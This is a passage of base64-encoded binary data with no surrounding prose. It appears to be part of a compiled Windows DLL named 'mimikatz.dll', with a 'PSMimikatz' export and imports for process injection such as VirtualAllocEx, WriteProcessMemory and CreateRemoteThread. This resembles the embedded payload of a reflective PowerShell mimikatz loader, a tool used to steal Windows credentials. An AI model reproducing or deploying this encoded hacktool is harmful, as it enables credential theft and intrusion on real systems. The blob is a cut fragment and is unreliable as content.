IAQ2xvc2VIYW5kbGUAaAFGcmVlTGlicmFyeQBBA0xvYWRMaWJyYXJ5VwAAgARTZXRMYXN0RXJyb3IAAEwCR2V0UHJvY0FkZHJlc3MAAB4CR2V0TW9kdWxlSGFuZGxlVwAACAVXYWl0Rm9yU2luZ2xlT2JqZWN0AKkAQ3JlYXRlUmVtb3RlVGhyZWFkAACCA09wZW5Qcm9jZXNzAPwEVmlydHVhbEZyZWVFeAD5BFZpcnR1YWxBbGxvY0V4AADGAUdldEN1cnJlbnRQcm9jZXNzAMYDUmVhZFByb2Nlc3NNZW1vcnkA/wRWaXJ0dWFsUHJvdGVjdEV4AAD+BFZpcnR1YWxQcm90ZWN0AAA9BVdyaXRlUHJvY2Vzc01lbW9yeQAAKwJHZXROYXRpdmVTeXN0ZW1JbmZvAGUAQ29ubmVjdE5hbWVkUGlwZQAAoABDcmVhdGVOYW1lZFBpcGVXAADDA1JlYWRGaWxlAADlAERpc2Nvbm5lY3ROYW1lZFBpcGUAqABDcmVhdGVQcm9jZXNzVwAA+QJJc0JhZFJlYWRQdHIAAM4EVGVybWluYXRlUHJvY2VzcwAAmANQcm9jZXNzMzJGaXJzdFcAXQNNb2R1bGUzMkZpcnN0VwAAmgNQcm9jZXNzMzJOZXh0VwAAvQBDcmVhdGVUb29saGVscDMyU25hcHNob3QAAF8DTW9kdWxlMzJOZXh0VwBKA0xvY2FsRnJlZQBkAUZvcm1hdE1lc3NhZ2VXAACsAkdldFZlcnNpb25FeFcAxQFHZXRDdXJyZW50RGlyZWN0b3J5VwAAlAFHZXRDb21wdXRlck5hbWVFeFcAANEEVGhyZWFkMzJGaXJzdADPBFRlcm1pbmF0ZVRocmVhZADSBFRocmVhZDMyTmV4dAAAhwNPcGVuVGhyZWFkAADIBFN1c3BlbmRUaHJlYWQAFgRSZXN1bWVUaHJlYWQAAFYEU2V0Q29uc29sZVRpdGxlVwAAlgBDcmVhdGVKb2JPYmplY3RXAAAWAEFzc2lnblByb2Nlc3NUb0pvYk9iamVjdAAAUwJHZXRQcm9jZXNzSWQAAOwARHVwbGljYXRlSGFuZGxlAM0EVGVybWluYXRlSm9iT2JqZWN0AAABBVZpcnR1YWxRdWVyeUV4AADABFNsZWVwAD8EU2V0Q29uc29sZUN1cnNvclBvc2l0aW9uAABrAkdldFN0ZEhhbmRsZQAALgFGaWxsQ29uc29sZU91dHB1dENoYXJhY3RlclcAuAFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAAIAVXaWRlQ2hhclRvTXVsdGlCeXRlAGkDTXVsdGlCeXRlVG9XaWRlQ2hhcgBwAkdldFN0cmluZ1R5cGVXAADuAEVuY29kZVBvaW50ZXIAywBEZWNvZGVQb2ludGVyAOoCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbgDSAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgDyAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA7A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADXAkhlYXBGcmVlAADTAkhlYXBBbGxvYwDaAkhlYXBSZUFsbG9jAMsBR2V0Q3VycmVudFRocmVhZElkAABbAUZsc1NldFZhbHVlAIwBR2V0Q29tbWFuZExpbmVBAHgBR2V0Q1BJbmZvALQDUmFpc2VFeGNlcHRpb24AACEEUnRsUGNUb0ZpbGVIZWFkZXIAHwRSdGxMb29rdXBGdW5jdGlvbkVudHJ5AAAlBFJ0bFVud2luZEV4AC8DTENNYXBTdHJpbmdXAADiBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAswRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAgNJc0RlYnVnZ2VyUHJlc2VudAAmBFJ0bFZpcnR1YWxVbndpbmQAABgEUnRsQ2FwdHVyZUNvbnRleHQA2wJIZWFwU2V0SW5mb3JtYXRpb24AAKoCR2V0VmVyc2lvbgAA1QJIZWFwQ3JlYXRlAADWAkhlYXBEZXN0cm95AFoBRmxzR2V0VmFsdWUAWQFGbHNGcmVlAFgBRmxzQWxsb2MAAOsCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudAAfAUV4aXRQcm9jZXNzABoCR2V0TW9kdWxlRmlsZU5hbWVXAAB8BFNldEhhbmRsZUNvdW50AAD6AUdldEZpbGVUeXBlAGoCR2V0U3RhcnR1cEluZm9XAHQEU2V0RmlsZVBvaW50ZXIAAG4BR2V0QUNQAAA+AkdldE9FTUNQAAAMA0lzVmFsaWRDb2RlUGFnZQCUBFNldFN0ZEhhbmRsZQAAowJHZXRVc2VyRG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BlX2luZm9AQAAAAAAAAAAAAADVBoABAAAAAAAAAAAAAAAA1QaAAQAAAAEBAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAPA5BYABAAAAFQAAAAAAAADoOQWAAQAAABwAAAAAAAAA4DkFgAEAAAAZAAAAAAAAANg5BYABAAAAEQAAAAAAAADQOQWAAQAAABgAAAAAAAAAyDkFgAEAAAAWAAAAAAAAAMA5BYABAAAAFwAAAAAAAAC4OQWAAQAAACIAAAAAAAAAtDkFgAEAAAAjAAAAAAAAALA5BYABAAAAJAAAAAAAAACsOQWAAQAAACUAAAAAAAAApDkFgAEAAAAmAAAAAAAAAJg5BYABAAAAAAAAAAAA8H8AAAAAAAD4/////////+9/AAAAAAAAEAAAAAAAAAAAgAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAC4AAAABAAAAAAAAADhKBYABAAAAIEoFgAEAAAAASgWAAQAAAPBJBYABAAAA0EkFgAEAAAC4SQWAAQAAAJhJBYABAA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